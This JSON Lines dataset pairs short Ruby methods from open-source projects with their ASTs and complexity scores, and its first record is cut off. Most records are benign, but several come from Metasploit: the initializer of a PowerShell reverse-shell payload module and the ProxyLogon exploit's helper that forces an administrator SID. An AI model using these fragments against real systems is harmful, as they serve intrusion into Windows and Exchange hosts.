prompt.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@powershell_shell_opts\"]},\"usage\"]}]}]}]}","id":"391eab3c-100e-4fcc-b49b-d377cd5f8b08"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/form_tag_helper.rb","start_line":166,"raw_source":"def apply_css_class_to_options(options, css_class)\n      options[:class] = Array(options[:class]) + Array(css_class)\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_css_class_to_options\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"css_class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"class\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"css_class\"]}]}]}]}]}","id":"253fe40b-7c5f-4384-a86a-c2a3dbd60524"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/windows/powershell_reverse_tcp_ssl.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Interactive Powershell Session, Reverse TCP SSL',\n        'Description' => 'Listen for a connection and spawn an interactive powershell session over SSL',\n        'Author' => [\n          'Ben Turner', # benpturner\n          'Dave Hardy' # davehardy20\n        ],\n        'References' => [\n          ['URL', 'https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit']\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'win',\n        'Arch' => ARCH_X86,\n        'Handler' => Msf::Handler::ReverseTcpSsl,\n        'Session' => Msf::Sessions::PowerShell\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Interactive Powershell Session, Reverse TCP SSL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Listen for a connection and spawn an interactive powershell session over SSL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Ben Turner\"]},{\"type\":\"str\",\"children\":[\"Dave Hardy\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseTcpSsl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"PowerShell\"]}]}]}]}]}]}","id":"912464ec-211c-4200-ae45-e75b506f7e2f"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/utils/diff_utils/safety_checker.rb","start_line":79,"raw_source":"def unclosed_triple_backticks?\n          @text.scan(/```/).count.odd?\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"unclosed_triple_backticks?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"```\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"count\"]},\"odd?\"]}]}","id":"8b60a105-67f0-4a17-bbe3-4bd6968919d7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_revisor.rb","start_line":706,"raw_source":"def revise_topic\n    return unless @post.is_first_post?\n\n    update_topic_excerpt\n    update_category_description\n    update_topic_locale\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"revise_topic\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"is_first_post?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"update_topic_excerpt\"]},{\"type\":\"send\",\"children\":[null,\"update_category_description\"]},{\"type\":\"send\",\"children\":[null,\"update_topic_locale\"]}]}]}","id":"c9302796-8164-40e0-8013-7276bed47233"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/system_check/database_schema_check.rb","start_line":4,"raw_source":"def skip?\n    !current_user.can?(:view_devops)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"skip?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"view_devops\"]}]},\"!\"]}]}","id":"06d9c78d-fc98-4dc7-b61d-58930f1fe669"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/lib/active_job/log_subscriber.rb","start_line":247,"raw_source":"def enqueue_source_location\n        backtrace_cleaner.first_clean_frame\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue_source_location\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backtrace_cleaner\"]},\"first_clean_frame\"]}]}","id":"385b6658-a5ad-4f51-b919-c4dcfd0985f7"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/models/discourse_post_event/event.rb","start_line":207,"raw_source":"def notify_invitees!(predefined_attendance: false)\n      self\n        .invitees\n        .where(notified: false)\n        .find_each do |invitee|\n          create_notification!(\n            invitee.user,\n            self.post,\n            predefined_attendance: predefined_attendance,\n          )\n          invitee.update!(notified: true)\n        end\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_invitees!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"predefined_attendance\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"invitees\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notified\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"invitee\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_notification!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invitee\"]},\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"predefined_attendance\"]},{\"type\":\"lvar\",\"children\":[\"predefined_attendance\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invitee\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notified\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"3725b5ac-983c-4d01-8722-dd45dad37d6e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/notification.rb","start_line":40,"raw_source":"def to_h\n    {\n      :level      => notification_type.level,\n      :created_at => created_at,\n      :text       => notification_type.message,\n      :bindings   => text_bindings\n    }\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_h\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_type\"]},\"level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_type\"]},\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bindings\"]},{\"type\":\"send\",\"children\":[null,\"text_bindings\"]}]}]}]}","id":"8e68a6a1-9cf3-4e76-84cd-722509dae56e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/user_post_bookmark_serializer.rb","start_line":4,"raw_source":"def post_id\n    post.id\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\"]},\"id\"]}]}","id":"afa324fd-84cb-4801-bf45-ed60c0b65254"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/exchange_proxylogon_rce.rb","start_line":201,"raw_source":"def patch_sid(sid)\n    ar = sid.to_s.split('-')\n    if ar[-1] != '500'\n      sid = \"#{ar[0..6].join('-')}-500\"\n    end\n\n    sid\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"patch_sid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ar\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ar\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"500\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sid\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ar\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[6]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"-\"]}]}]},{\"type\":\"str\",\"children\":[\"-500\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"sid\"]}]}]}","id":"99827378-07a8-4b80-aad1-4ad6b3918a1e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/graphql/docs/helper.rb","start_line":341,"raw_source":"def join(context, chunks)\n          chunks.compact!\n          return if chunks.blank?\n\n          case context\n          when :block\n            chunks.join(\"\\n\\n\")\n          when :inline\n            chunks.join(\" \").squish.presence\n          when :table\n            chunks.join(\"\\n\")\n          end\n        end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"join\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]},{\"type\":\"arg\",\"children\":[\"chunks\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"compact!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},\"squish\"]},\"presence\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"table\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]}]}]}","id":"ec24a5a8-bd8d-4610-836f-a1f8c40d2b06"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/user/store.rb","start_line":222,"raw_source":"def create_new_user\n            info(\"Creating test user\")\n            Resource::User.fabricate! do |user|\n              user.with_personal_access_token = true\n              user.api_client = admin_api_client\n            end\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_new_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"str\",\"children\":[\"Creating test user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resource\"]},\"User\"]},\"fabricate!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"with_personal_access_token=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"api_client=\",{\"type\":\"send\",\"children\":[null,\"admin_api_client\"]}]}]}]}]}]}","id":"d1c7ad3b-2850-42e4-a322-fd8cc8ffa286"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/migration/prevent_index_creation.rb","start_line":92,"raw_source":"def offense?(node)\n          return true if add_index?(node)\n          return true if add_concurrent_index?(node)\n          return true if prepare_async_index?(node)\n          return true if any_constant_used_with_forbidden_tables?(node)\n\n          false\n        end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"offense?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_index?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prepare_async_index?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"any_constant_used_with_forbidden_tables?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"52018b97-d168-44ec-82e0-dff7bbc49711"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/msftidy.rb","start_line":468,"raw_source":"def check_extname\n    if File.extname(@name) != '.rb'\n      error(\"Module should be a '.rb' file, or it won't load.\")\n    end\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check_extname\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"extname\",{\"type\":\"ivar\",\"children\":[\"@name\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\".rb\"]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"Module should be a '.rb' file, or it won't load.\"]}]},null]}]}","id":"ae7384fc-20d4-4ba5-ab3d-b2ff25769630"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/netenum.rb","start_line":78,"raw_source":"def filewrt(file2wrt, data2wrt)\n  output = ::File.open(file2wrt, \"ab\")\n  data2wrt.each_line do |d|\n    output.puts(d)\n  end\n  output.close\nend","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"filewrt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file2wrt\"]},{\"type\":\"arg\",\"children\":[\"data2wrt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"file2wrt\"]},{\"type\":\"str\",\"children\":[\"ab\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data2wrt\"]},\"each_line\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"puts\",{\"type\":\"lvar\",\"children\":[\"d\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"close\"]}]}]}","id":"8ad4b56a-18ca-4c23-84f8-8ccda03ee0e0"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/engine.rb","start_line":154,"raw_source":"def run\n      begin\n        $log.info \"starting fluentd worker\", pid: Process.pid, ppid: Process.ppid, worker: worker_id\n        @root_agent_mutex.synchronize do\n          start\n        end\n\n        @fluent_log_event_router.start\n\n        $log.info \"fluentd worker is now running\", worker: worker_id\n        sleep MAINLOOP_SLEEP_INTERVAL until @engine_stopped\n        $log.info \"fluentd worker is now stopping\", worker: worker_id\n\n      rescue Exception => e\n        $log.error \"unexpected error\", error: e\n        $log.error_backtrace\n        raise\n      end\n\n      @root_agent_mutex.synchronize do\n        stop_phase(@root_agent)\n      end\n    end","complexity_score":26.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"str\",\"children\":[\"starting fluentd worker\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ppid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"ppid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worker\"]},{\"type\":\"send\",\"children\":[null,\"worker_id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root_agent_mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"start\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fluent_log_event_router\"]},\"start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"str\",\"children\":[\"fluentd worker is now running\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worker\"]},{\"type\":\"send\",\"children\":[null,\"worker_id\"]}]}]}]},{\"type\":\"until\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@engine_stopped\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"const\",\"children\":[null,\"MAINLOOP_SLEEP_INTERVAL\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"info\",{\"type\":\"str\",\"children\":[\"fluentd worker is now stopping\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"worker\"]},{\"type\":\"send\",\"children\":[null,\"worker_id\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"error\",{\"type\":\"str\",\"children\":[\"unexpected error\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"error_backtrace\"]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root_agent_mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"stop_phase\",{\"type\":\"ivar\",\"children\":[\"@root_agent\"]}]}]}]}]}","id":"8bb27ee5-3520-4eb1-b127-8ba66886f709"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace.rb","start_line":694,"raw_source":"def closest_setting(name)\n    self_and_ancestors(hierarchy_order: :asc)\n      .find { |n| !n.read_attribute(name).nil? }\n      .try(name)\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"closest_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"self_and_ancestors\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hierarchy_order\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"read_attribute\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"nil?\"]},\"!\"]}]},\"try\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"47bf2a7c-01e0-4e8e-815c-f754a6207da6"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/polymorphic_routes_test.rb","start_line":621,"raw_source":"def test_string_route_arguments\n    with_admin_test_routes do\n      error = assert_raises(ArgumentError) do\n        polymorphic_url([\"admin\", @project])\n      end\n\n      assert_equal(\"Please use symbols for polymorphic route arguments.\", error.message)\n\n      error = assert_raises(ArgumentError) do\n        polymorphic_url([@project, \"bid\"])\n      end\n\n      assert_equal(\"Please use symbols for polymorphic route arguments.\", error.message)\n    end\n  end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_string_route_arguments\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_admin_test_routes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"polymorphic_url\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Please use symbols for polymorphic route arguments.\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"polymorphic_url\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"str\",\"children\":[\"bid\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Please use symbols for polymorphic route arguments.\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}]}","id":"ccdc4ef8-e533-4915-a4dc-4147d9a399be"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/strict_loading_test.rb","start_line":456,"raw_source":"def test_raises_on_lazy_loading_a_strict_loading_belongs_to_relation\n    mentor = Mentor.create!(name: \"Mentor\")\n\n    developer = Developer.first\n    developer.update_column(:mentor_id, mentor.id)\n\n    assert_raises ActiveRecord::StrictLoadingViolationError do\n      developer.strict_loading_mentor\n    end\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_raises_on_lazy_loading_a_strict_loading_belongs_to_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mentor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mentor\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Mentor\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"developer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"update_column\",{\"type\":\"sym\",\"children\":[\"mentor_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mentor\"]},\"id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StrictLoadingViolationError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"developer\"]},\"strict_loading_mentor\"]}]}]}]}","id":"d6e5f31d-ba7a-44c4-813b-bfe12511dc79"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/file_depot_ftp.rb","start_line":134,"raw_source":"def login_credentials\n    [authentication_userid, authentication_password]\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"login_credentials\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentication_userid\"]},{\"type\":\"send\",\"children\":[null,\"authentication_password\"]}]}]}","id":"b22a800a-a26e-47af-984d-fb792a4633f8"}
